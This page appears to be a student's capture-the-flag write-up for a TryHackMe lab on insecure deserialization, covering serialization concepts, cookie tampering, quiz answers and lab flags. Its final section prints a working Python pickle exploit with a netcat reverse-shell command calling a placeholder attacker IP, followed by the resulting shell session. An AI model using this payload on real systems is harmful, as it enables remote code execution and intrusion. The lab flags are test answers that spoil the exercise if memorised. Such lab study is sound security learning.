Home

Insecure Deserialization

Date: 02, January, 2021

Author: Dhilip Sanjay S

Serialization and Deserialization

  • Serialization is the process of converting objects used in programming into simpler, compatible formatting for transmitting between systems or networks.

  • Deserialization is the process of converting serialized information into their complex form - an object that the application will be able to understand.

Insecure Deserialization

  • Insecure Deserialization is a vulnerability which occurs when untrusted data is used to abuse the logic of an application

  • It involves sreplacing data processed by an application with malicious code - allowing DoS to RCE.

  • Low exploitability - attacker needs to have a good understanding of the inner-workings of the application.

  • The exploit is only as dangerous as the attacker's skill permits.

What's vulnerable?

  • Any application that stores or fetches data where there are no validations or integrity checks in place for the data queried or retained.

  • Few examples of applications:

    • E-commerce Sites

    • Forums

    • API's

    • Application Runtimes (Tomcat, Jenkins, Jboss, etc)

Insecure Deserialization - Objects

  • In OOP, objects are made up of two things:

    • State

    • Behaviour

Insecure Deserialization - cookies

  • Cookies are tiny peices of data - created and stored by website on the user's computer.

  • Cookies store login information like sessionId.

  • Attributes of cookies:

AttributeDescriptionRequired?

Cookie Name

Name of the cookie

Yes

Cookie Value

Anything Plaintext or encoded

Yes

Secure Only

If set, this cookie will only be set over HTTPS connection

No

Expire

Set a timestamp for cookie expiry

No

Path

Cookie will only be sent if the specified URL is within the request

No

Solutions

Who developed the Tomcat application?

  • Answer: The Apache Software Foundation

  • Initially I thought, James Duncan Davidson. But they actually wanted the organization's name.

What type of attack that crashes services can be performed with insecure deserialization?

  • Answer: Denial of Service

If a dog was sleeping, would this be:

  • Answer: Behaviour

  • Note:

    • Sleep - State

    • Sleeping - behaviour

What is the name of the base-2 formatting that data is sent across a network as?

  • Answer: Binary

If a cookie had the path of webapp.com/login , what would the URL that the user has to visit be?

  • Answer: webapp.com/login

What is the acronym for the web technology that Secure cookies work over?

  • Answer: HTTPS

1st flag (cookie value)

  • Answer: THM{good_old_base64_huh}

  • Steps to Reproduce:

    echo <session-id> | base64 -d

2nd flag (admin dashboard)

  • Answer: THM{heres_the_admin_flag}

  • Steps to Reproduce: Change the userType field value to admin in the cookie and reload the page.

What is the value in flag.txt?

  • Answer: 4a69a7ff9fd68

  • Steps to Reproduce:

    • Submit a feedback.

    • You'll have a cookie named encodedPayload.

    • Replace the value with the one you get from running rce.py.

    import pickle
import sys
import base64

command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRYHACKME_VPN_IP 1234 > /tmp/f'

class rce(object):
    def __reduce__(self):
        import os
        return (os.system,(command,))

print(base64.b64encode(pickle.dumps(rce())))

    Explanation of the code:

    • rm /tmp/f - removes the file if it exists.

    • mkfifo /tmp/f - creates a named IO pipe.

    • cat /tmp/f | /bin/sh -i 2>&1 - contents of the named pipe is printed and piped into /bin/sh.

    • netcat YOUR_TRYHACKME_VPN_IP 1234 > /tmp/f

      • The output of the commands executed by /bin/sh is directed into stdin of nc.

      • The output of nc (commands coming over the network) is redirected to the FIFO.

    • Listen using netcat: nc -lvnp 1234

    • Reload the page.

    • You will get a reverse shell:

    root@kali: nc -lvnp 1234
listening on [any] 1234 ...
connect to [YOUR_TRYHACKME_VPN_IP] from (UNKNOWN) [MACHINE_IP] 59092
/bin/sh: 0: cant access tty; job control turned off
$ ls
app.py
Dockerfile
index.html
launch.sh
__pycache__
requirements.txt
static
templates
user.html
venv
vimexchange.sock
wsgi.py

$ pwd         
/home/cmnatic/app

$ find / -type f -name flag.txt 2>/dev/null
/home/cmnatic/flag.txt

$ cd ..
$ cat flag.txt
4a69a7ff9fd68
PreviousCross-Site ScriptingNextComponents with Known Vulnerabilities

Last updated